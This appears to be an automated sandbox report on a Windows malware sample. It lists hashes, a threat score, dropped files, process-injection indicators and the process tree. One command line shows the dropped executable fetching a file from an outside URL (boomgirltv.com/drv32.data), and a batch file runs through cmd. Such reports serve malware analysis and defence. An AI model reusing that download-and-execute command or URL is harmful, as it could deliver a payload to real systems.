c27b685148089b25527274ba9dc663e173b8b0247464e4188287221dbb952211

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
16/07/2024, 06:56

Target

4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe
Size

95KB
MD5

4d3c1c61e176d7adfd7326cf2de033da
SHA1

6aaa20f267f84e9c3ea7d0e91d6a158dadc6c9a9
SHA256

c27b685148089b25527274ba9dc663e173b8b0247464e4188287221dbb952211
SHA512

f2d1fbfc6046b8b4588481f3b201a9281dff74063a2f0c9f6b2b3b360bcdbdb4f09295a34ce62aead3480165ba98cbce9775f1e9bf0844d4b46fd10e47a07e22
SSDEEP

1536:94PICqp49ZEx8YTLn7LgpzmPvw+rNWm8ZVXEJgNjvVRKnyjc9LXCH:OOpC+xnj7+46NzVkyQhe

Score

7^/10

Executes dropped EXE 1 IoCs

pid	Process
2772	G4358-tmp.exe

Loads dropped DLL 1 IoCs

pid	Process
2636	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2636 wrote to memory of 2772	2636	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe	30
PID 2636 wrote to memory of 2772	2636	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe	30
PID 2636 wrote to memory of 2772	2636	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe	30
PID 2636 wrote to memory of 2772	2636	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe	30
PID 2636 wrote to memory of 2892	2636	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe	31
PID 2636 wrote to memory of 2892	2636	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe	31
PID 2636 wrote to memory of 2892	2636	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe	31
PID 2636 wrote to memory of 2892	2636	4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe	31

C:\Users\Admin\AppData\Local\Temp\4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\4d3c1c61e176d7adfd7326cf2de033da_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Users\Admin\AppData\Local\Temp\G4358-tmp.exe
  C:\Users\Admin\AppData\Local\Temp\G4358-tmp.exe http://boomgirltv.com/drv32.data "C:\Users\Admin\AppData\Local\Temp\G4378-tmp"
  2⤵
  - Executes dropped EXE
  PID:2772
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\tmp.bat" "
  2⤵
  PID:2892

C:\Users\Admin\AppData\Local\Temp\G4358-tmp

Filesize
99KB

MD5
216ddbb19f77621d0d411cdfbc0839f1

SHA1
18d08906aa1629ce4d8001851edde669f8ef5c3b

SHA256
48df7364f7cdb81a7cee5403f1dda5bc0c5ff1bb02ee409f4ad801b3c6ee4545

SHA512
17ff4894bdda89877904ae31034d820846aaaf6aad2c9fd438e0fb76fa3158d4580e31d9fb2d43ff09233fe357683756f785bc36ef3438e7f2ed17a7db4d9a28

Download Submit
C:\tmp.bat

Filesize
50B

MD5
edc287f6fc2f3c34c94f2c1bb36019c9

SHA1
f0f4edde1c71a05c031ec9d5c56442072d46b419

SHA256
3a3bb4dc634b3588149f09d371fec954dfc22ff1345bfd8d627eb69a6c30953b

SHA512
e7ed109c64e77593e61af0d23a9e9a028ef1269116002ed9b442fe58487ca787280855e3a26a77f91249b136bbac5440128096da250d2bdfdbb8e8e0a1640a6a

Download Submit
memory/2636-3-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2636-24-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2772-12-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download